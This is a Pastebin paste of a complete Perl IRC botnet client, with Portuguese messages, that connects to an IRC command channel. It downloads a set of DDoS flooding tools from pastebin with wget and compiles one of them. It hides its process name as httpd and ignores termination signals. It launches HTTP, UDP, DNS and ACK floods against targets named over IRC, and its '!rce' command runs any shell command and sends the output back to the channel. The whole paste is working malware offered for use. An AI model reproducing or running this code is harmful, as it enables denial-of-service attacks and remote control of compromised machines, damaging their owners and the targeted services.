Advertisement
Guest User

Untitled

a guest
Nov 20th, 2019
117
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.60 KB | None | 0 0
  1. #!usr/bin/perl
  2.  
  3. use IO::Socket;
  4. my $processo = '/usr/sbin/httpd';
  5. my $server = "irc.st-city.net";
  6. my $code = int(rand(100000));
  7. my $channel = "#prettysatan";
  8. my $port = "6667";
  9. my $nick = "Machine_$code";
  10.  
  11. unless (-e "sadattack.py") {
  12. print "[*] Instalando o SADATTACK...";
  13. system("wget https://pastebin.com/raw/XiwqFZqe -O sadattack.py");
  14. }
  15.  
  16. unless (-e "hulk.py") {
  17. print "[*] Instalando o HULK... ";
  18. system("wget https://pastebin.com/raw/gdDMQXWQ -O hulk.py");
  19. }
  20.  
  21. unless (-e "goldeneye.py") {
  22. print "[*] Instalando o Goldeneye... ";
  23. system("wget https://pastebin.com/raw/eY3C0anh -O goldeneye.py");
  24. }
  25.  
  26. unless (-e "udp1.pl") {
  27. print "[*] Instalando UDPFlooder... ";
  28. system("wget https://pastebin.com/raw/n399Y8ES -O udp1.pl");
  29. }
  30.  
  31. unless (-e "std.c") {
  32. print "[*] Instalando STD... ";
  33. system("wget https://pastebin.com/raw/3UCGvEnD -O std.c");
  34. system("gcc std.c -o std -pthread");
  35. }
  36.  
  37. unless (-e "httpabuse.pl") {
  38. print "[*] Instalando HTTPABUSE... ";
  39. system("wget https://pastebin.com/raw/nzmmmQaR -O httpabuse.pl");
  40. }
  41.  
  42. unless (-e "rand.pl") {
  43. print "[*] Instalando UDPRand... ";
  44. system("wget https://pastebin.com/raw/XqHSJT1J -O rand.pl");
  45. }
  46.  
  47. unless (-e "DNS.pl") {
  48. print "[*] Instalando DNS... ";
  49. system("wget https://pastebin.com/raw/ZEeaYZRg -O DNS.pl");
  50. }
  51.  
  52. unless (-e "ack.pl") {
  53. print "[*] Instalando ACK... ";
  54. system("wget https://pastebin.com/raw/57pBN7Un -O ack.pl");
  55. }
  56. all();
  57. sub all {
  58. $SIG{'INT'} = 'IGNORE';
  59. $SIG{'HUP'} = 'IGNORE';
  60. $SIG{'TERM'} = 'IGNORE';
  61. $SIG{'CHLD'} = 'IGNORE';
  62. $SIG{'PS'} = 'IGNORE';
  63.  
  64. $s0ck3t = new IO::Socket::INET(
  65. PeerAddr => $server,
  66. PeerPort => $port,
  67. Proto => 'tcp'
  68. );
  69. if ( !$s0ck3t ) {
  70. print "\nError\n";
  71. exit 1;
  72. }
  73.  
  74. $0 = "$processo" . "\0" x 16;
  75. my $pid = fork;
  76. exit if $pid;
  77. die "Problema com o fork: $!" unless defined($pid);
  78.  
  79. print $s0ck3t "NICK $nick\r\n";
  80. print $s0ck3t "USER $nick 1 1 1 1\r\n";
  81.  
  82. print "Online ;)\n\n";
  83. while ( my $log = <$s0ck3t> ) {
  84. chomp($log);
  85.  
  86. if ( $log =~ m/^PING(.*)$/i ) {
  87. print $s0ck3t "PONG $1\r\n";
  88. print $s0ck3t "JOIN $channel\r\n";
  89. }
  90.  
  91. if ( $log =~ m/:!sadattack (.*)$/g ){##########
  92. my $target_sadattack = $1;
  93. $target_sadattack =~ s/^\s*(.*?)\s*$/$1/;
  94. $target_sadattack;
  95. print $s0ck3t "PRIVMSG $channel :67[63SADATTACK67]61 Attack started at $1, use !stopsad for stop :P \r\n";
  96. system("nohup python sadattack.py $target_sadattack > /dev/null 2>&1 &");
  97. }
  98.  
  99. if ( $log =~ m/:!stopsad/g ){##########
  100. print $s0ck3t "PRIVMSG $channel :67[63SADATTACK67]61 Attack sucessfully finished! \r\n";
  101. system("pkill -9 -f sadattack");
  102. }
  103.  
  104. if ( $log =~ m/:!hulk (.*)$/g ){##########
  105. my $target_hulk = $1;
  106. $target_hulk =~ s/^\s*(.*?)\s*$/$1/;
  107. $target_hulk;
  108. print $s0ck3t "PRIVMSG $channel :67[63HULK67]61 Attack started at $1, use !stophulk for stop :P \r\n";
  109. system("nohup python hulk.py $target_hulk > /dev/null 2>&1 &");
  110. }
  111.  
  112. if ( $log =~ m/:!stophulk/g ){##########
  113. print $s0ck3t "PRIVMSG $channel :67[63HULK67]61 Attack sucessfully finished! \r\n";
  114. system("pkill -9 -f hulk");
  115. }
  116.  
  117. if ( $log =~ m/:!gold (.*)$/g ){##########
  118. my $target_gold = $1;
  119. $target_gold =~ s/^\s*(.*?)\s*$/$1/;
  120. print $s0ck3t "PRIVMSG $channel :67[63GOLD67]61 Attack started at $1, use !stopgold for stop :P \r\n";
  121. system("nohup python goldeneye.py $target_gold -w 15 -s 650 > /dev/null 2>&1 &");
  122. }
  123.  
  124. if ( $log =~ m/:!stopgold/g ){##########
  125. print $s0ck3t "PRIVMSG $channel :67[63GOLD67]61 Attack sucessfully finished! \r\n";
  126. system("pkill -9 -f goldeneye");
  127. }
  128.  
  129. if ( $log =~ m/:!udp (.*)$/g ){##########
  130. my $target_udp = $1;
  131. print $s0ck3t "PRIVMSG $channel :67[63UDP67]61 Attack started at $target_udp, use !stopudp for stop :P \r\n";
  132. system("nohup perl udp1.pl $target_udp > /dev/null 2>&1 &");
  133. }
  134. if ( $log =~ m/:!stopudp/g ){##########
  135. print $s0ck3t "PRIVMSG $channel :67[63UDP67]61 Attack sucessfully finished! \r\n";
  136. system("pkill -9 -f udp1");
  137. }
  138.  
  139. if ( $log =~ m/:!std (.*)$/g ){##########
  140. my $target_std = $1;
  141. my $port_std = $2;
  142. my $time_std = $3;
  143. print $s0ck3t "PRIVMSG $channel :67[63STD67]61 Attack started at $target_std, use !stopstd for stop :P \r\n";
  144. system("nohup ./std $target_std $port_std $time_std > /dev/null 2>&1 &");
  145. }
  146.  
  147. if ( $log =~ m/:!stopstd/g ){##########
  148. print $s0ck3t "PRIVMSG $channel :67[63STD67]61 Attack sucessfully finished! \r\n";
  149. system("pkill -9 -f std");
  150. }
  151.  
  152. if ( $log =~ m/:!httpabuse (.*)$/g ){##########
  153. my $target_httpabuse = $1;
  154. $target_httpabuse =~ s/^\s*(.*?)\s*$/$1/;
  155. $target_httpabuse;
  156. print $s0ck3t "PRIVMSG $channel :67[63HTTPABUSE67]61 Attack started at $1, use !stopabuse for stop :P \r\n";
  157. system("nohup perl httpabuse.pl $target_httpabuse 1000 100 GET 13.37 > /dev/null 2>&1 &");
  158. }
  159.  
  160. if ( $log =~ m/:!stopabuse/g ){##########
  161. print $s0ck3t "PRIVMSG $channel :67[63HTTPABUSE67]61 Attack sucessfully finished! \r\n";
  162. system("pkill -9 -f httpabuse");
  163. }
  164.  
  165. if ( $log =~ m/:!dns (.*)$/g ){##########
  166. my $target_dns = $1;
  167. my $time_dns = $2;
  168. print $s0ck3t "PRIVMSG $channel :67[63DNS67]61 Attack started at $target_dns, use !stopdns for stop :P \r\n";
  169. system("nohup perl DNS.pl $target_dns $time_dns > /dev/null 2>&1 &");
  170. }
  171. if ( $log =~ m/:!stopdns/g ){##########
  172. print $s0ck3t "PRIVMSG $channel :67[63DNS67]61 Attack sucessfully finished! \r\n";
  173. system("pkill -9 -f DNS");
  174. }
  175.  
  176. if ( $log =~ m/:!rand (.*)$/g ){##########
  177. my $target_rand = $1;
  178. my $time_rand = $2;
  179. print $s0ck3t "PRIVMSG $channel :67[63RAND67]61 Attack started at $target_rand, use !stoprand for stop :P \r\n";
  180. system("nohup perl rand.pl $target_rand $time_rand > /dev/null 2>&1 &");
  181. }
  182. if ( $log =~ m/:!stoprand/g ){##########
  183. print $s0ck3t "PRIVMSG $channel :67[63RAND67]61 Attack sucessfully finished! \r\n";
  184. system("pkill -9 -f rand");
  185. }
  186.  
  187. if ( $log =~ m/:!ack (.*)$/g ){##########
  188. my $target_ack = $1;
  189. my $time_ack = $2;
  190. print $s0ck3t "PRIVMSG $channel :67[63ACK67]61 Attack started at $target_ack, use !stopack for stop :P \r\n";
  191. system("nohup perl ack.pl $target_ack $time_ack > /dev/null 2>&1 &");
  192. }
  193. if ( $log =~ m/:!stopack/g ){##########
  194. print $s0ck3t "PRIVMSG $channel :67[63ACK67]61 Attack sucessfully finished! \r\n";
  195. system("pkill -9 -f ack");
  196. }
  197.  
  198. if ( $log =~ m/:!ufo (.*)$/g ){##########
  199. my $target_ufo = $1;
  200. my $time_ufo = $2;
  201. print $s0ck3t "PRIVMSG $channel :67[63UFO67]61 Attack started at $target_ufo, use !stopufo for stop :P \r\n";
  202. system("nohup perl ufo.pl $target_ufo $time_ufo > /dev/null 2>&1 &");
  203. }
  204. if ( $log =~ m/:!stopufo/g ){##########
  205. print $s0ck3t "PRIVMSG $channel :67[63UFO67]61 Attack sucessfully finished! \r\n";
  206. system("pkill -9 -f ack");
  207. }
  208.  
  209. if ( $log =~ m/:!help/g ){##########
  210. print $s0ck3t "PRIVMSG $channel :67[63HELP67]61 Métodos de ataque layer 4:\r\n";
  211. print $s0ck3t "PRIVMSG $channel :67[63HELP67]61 !udp ip / !stopudp\r\n";
  212. print $s0ck3t "PRIVMSG $channel :67[63HELP67]61 !std ip port time / !stopstd\r\n";
  213. print $s0ck3t "PRIVMSG $channel :67[63HELP67]61 !rand ip time / !stoprand\r\n";
  214. print $s0ck3t "PRIVMSG $channel :67[63HELP67]61 !dns ip time / !stopdns\r\n";
  215. print $s0ck3t "PRIVMSG $channel :67[63HELP67]61 !ack ip time / !stopack\r\n";
  216. print $s0ck3t "PRIVMSG $channel :67[63HELP67]61 !ufo ip time / !stopack\r\n";
  217. print $s0ck3t "PRIVMSG $channel :67\r\n";
  218. print $s0ck3t "PRIVMSG $channel :67[63HELP67]61 Métodos de ataque layer 7:\r\n";
  219. print $s0ck3t "PRIVMSG $channel :67[63HELP67]61 !sadattack http://wwww.google.com/ / !stopsad\r\n";
  220. print $s0ck3t "PRIVMSG $channel :67[63HELP67]61 !hulk http://www.google.com/ / !stophulk\r\n";
  221. print $s0ck3t "PRIVMSG $channel :67[63HELP67]61 !gold http://www.google.com.br / !stopgold\r\n";
  222. print $s0ck3t "PRIVMSG $channel :67[63HELP67]61 !httpabuse http://www.google.com / !stopabuse\r\n";
  223. }
  224.  
  225. if ( $log =~ m/:!bototario/g ){##########
  226. print $s0ck3t "PRIVMSG $channel :mama meu ovo aqui, random!!1!1!!\r\n";
  227. }
  228.  
  229. #######################
  230. # o inocent eo cris #
  231. # sao os mais brabor #
  232. #######################
  233.  
  234. #######################
  235. # o inocent eo cris #
  236. # sao os mais brabor #
  237. #######################
  238.  
  239. #######################
  240. # o inocent eo cris #
  241. # sao os mais brabor #
  242. #######################
  243.  
  244. if ( $log =~ m/:!rce (.*)$/g ){##########
  245. my $comando_raw = `$1`;
  246. open(handler,">mat.tmp");
  247. print handler $comando_raw;
  248. close(handler);
  249.  
  250. open(h4ndl3r,"<","mat.tmp");
  251. my @commandoarray = <h4ndl3r>;
  252.  
  253. foreach my $comando_each (@commandoarray){
  254. sleep(1);
  255. print $s0ck3t "PRIVMSG $channel :67[63RCE67]61 Output67 => $comando_each \r\n";
  256. }
  257. }
  258. }
  259. }
  260. while(true){
  261. all();
  262. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement